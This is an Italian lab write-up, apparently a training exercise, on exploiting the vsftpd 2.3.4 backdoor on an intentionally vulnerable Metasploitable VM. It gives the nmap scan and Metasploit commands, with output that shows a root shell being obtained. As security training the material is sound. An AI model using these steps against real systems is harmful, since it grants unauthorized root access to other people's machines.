Hacking con Metasploit

L'obiettivo dell'esercizio di oggi è stato quello di condurre una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable.

1. Configurazione della Rete

L'obiettivo iniziale era stabilire una connessione tra la macchina attaccante (Kali Linux) e il target (Metasploitable). Entrambe le macchine sono state configurate su una **Rete Interna**.

- È stato assegnato l'indirizzo IP `192.168.1.140` all'interfaccia di rete di Kali. facendo si che Kali si trovi nella stessa sottorete del target.
- Come richiesto dalla traccia , è stato impostato l'IP `192.168.1.149` sulla macchina Metasploitable.
    - **Comando:** `sudo ifconfig eth0 192.168.1.149 netmask 255.255.255.0 up`. Questo comando configura l'indirizzo, la maschera di rete e attiva l'interfaccia.

CONFIGURAZIONE IP DI KALI

```
┌──(kali㉿kali)-[~]
└─$ sudo ifconfig eth0 down
[sudo] password for kali:

┌──(kali㉿kali)-[~]
└─$ sudo ifconfig eth0 192.168.1.140 netmask 255.255.255.0 up

┌──(kali㉿kali)-[~]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.140  netmask 255.255.255.0  broadcast 192.168.1.255
        ether 08:00:27:63:b0:05  txqueuelen 1000  (Ethernet)
        RX packets 106  bytes 21873 (21.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 61  bytes 6567 (6.4 KiB)
        TX errors 0  dropped 2 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 19  bytes 1712 (1.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 19  bytes 1712 (1.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

CONFIGURAZIONE IP DI METASPLOITABLE

```
msfadmin@metasploitable:~$ sudo ifconfig eth0 192.168.1.149 netmask 255.255.255.
0
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:79:f5:ee
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe79:f5ee/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:102 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:28604 (27.9 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:348 errors:0 dropped:0 overruns:0 frame:0
          TX packets:348 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:145181 (141.7 KB)  TX bytes:145181 (141.7 KB)

msfadmin@metasploitable:~$
```

2. Scansione

Prima di lanciare l'attacco, È stata eseguita una scansione con **Nmap**.

- **Comando:** `nmap -sV 192.168.1.149`.
- **Risultato:** La scansione ha confermato che sulla porta **21** è attivo il servizio **FTP** con versione **vsFTPd 2.3.4**.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.1.149
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-13 11:38 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid
s-servers
Nmap scan report for 192.168.1.149
Host is up (0.00016s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  shell       Netkit rshd
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:79:F5:EE (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kern

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.17 seconds
```

3. Fase di Exploitation con Metasploit

Confermato il target vulnerabile, si è passati all'utilizzo di Metasploit.

- Avvio tramite il comando `msfconsole`.
    - **Comando `use`:** È stato selezionato il modulo specifico `exploit/unix/ftp/vsftpd_234_backdoor`..

>Questo comando permette di selezionare e caricare all'interno del framework Metasploit il modulo specifico per sfruttare la vulnerabilità del servizio FTP.

Il percorso del modulo definisce con:

- **`exploit`**: indica la categoria del modulo
- **`unix/ftp`**: definisce l'ambiente (Unix) e il protocollo di rete (FTP) del bersaglio.
- **`vsftpd_234_backdoor`**: identifica il software specifico (**vsftpd**), la versione vulnerabile (**2.3.4**) e la tipologia di falla, ovvero una **backdoor** che consente l'accesso immediato con privilegi di amministratore (root).

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: After running db_nmap, be sure to check out the result
of hosts and services


 ____________________________________________________________________________
|                                                                            |
|                          3Kom SuperHack II Logon                           |
|____________________________________________________________________________|
|                                                                            |
|                                                                            |
|                                                                            |
|                  User Name:          [   security    ]                     |
|                                                                            |
|                  Password:           [               ]                     |
|                                                                            |
|                                                                            |
|                                                                            |
|                                  [ OK ]                                    |
|____________________________________________________________________________|
|                                                                            |
|                                                       https://metasploit.com |
|____________________________________________________________________________|


       =[ metasploit v6.4.99-dev                                          ]
+ -- --=[ 2,572 exploits - 1,317 auxiliary - 1,680 payloads                ]
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion                     ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
```

Comando `set RHOSTS`: È stato configurato l'IP del target (`192.168.1.149`) come host remoto.

Comando `exploit`: Esegue l'attacco. Il sistema ha risposto con `Command shell session 1 opened`, confermando che Kali ha ora il controllo remoto della macchina vittima con privilegi di **root**.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                          Disclosure Date  Rank    Check  Description
   -  ----                          ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact      .                normal  No     Unix Command, Interact with Established Connection

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.140:42673 -> 192.168.1.149:6200) at 2026-04-13 11:41:09 -0400
```

4.Conclusione

L'obiettivo finale della traccia era dimostrare l'accesso creando una cartella specifica nel file system del target..

- **Comando:** mkdir /test_metasploit.
- **Significato:** Lo slash iniziale (/) indica che la cartella deve essere creata nella **directory di root**
- **Verifica finale:** Tramite il comando ls /, viene mostrato l'elenco delle cartelle nella root di Metasploitable. La presenza di test_metasploit conferma che l'attacco è andato a buon fine.

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.140:42673 → 192.168.1.149:6200) at 2026-04-13 11:41:09 -0400
mkdir /test_metasploit
ls /
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

```
msfadmin@metasploitable:~$ ls /
bin     dev   initrd      lost+found  nohup.out  root  sys              usr
boot    etc   initrd.img  media       opt        sbin  test_metasploit  var
cdrom   home  lib         mnt         proc       srv   tmp              vmlinuz
msfadmin@metasploitable:~$
```